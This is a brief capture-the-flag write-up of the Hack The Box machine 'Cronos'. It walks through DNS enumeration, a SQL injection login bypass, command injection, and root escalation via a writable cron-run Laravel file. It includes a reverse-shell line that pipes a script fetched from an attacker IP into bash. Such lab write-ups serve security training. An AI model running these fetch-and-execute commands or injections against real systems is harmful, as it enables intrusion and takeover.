Cronos
Gaining Access
Nmap scan:
DNS
I poked DNS a little bit before going to HTTP, to see if we can find out any hidden domains or something. Based on standard HTB domains, I guessed that it was cronos.htb
and it worked.
Cronos.htb
Port 80 reveals the default Apache2 page:
After adding cronos.htb
to the /etc/hosts
file, this page changes:
Checking the page source reveals this is a Laravel application.
SQLI Login Bypass -> RCE
Earlier, we also found an admin.cronos.htb
through DNS. When visited, it just shows a login page:
This looks vulnerable to some kind of injection. I ran sqlmap
on the login request and found that it might be vulnerable to time-based SQL injection. That also means we can bypass this login page by doing basic injection. When we login, we see that it is a really basic application:
This is obviously vulnerable to command injection, which we can find quite easily:
We can then get a reverse shell using curl 10.10.14.13/shell.sh|bash
.
Privilege Escalation
MySQL Creds
We can find a config.php
file containing some credentials in the directory that we spawn in.
We can keep this for now since we don't know if it'll come into play later. There's one user present in this machine:
We can easily grab the user flag from this.
Laravel Cronjob
Running LinPEAS reveals this:
The root
user was running a PHP file called artisan
that we had write access to. So we just need to append some commands to the top. We can edit it to include this line:
Wait for a little bit, and the script should execute. We can then easily get a root
shell.
Last updated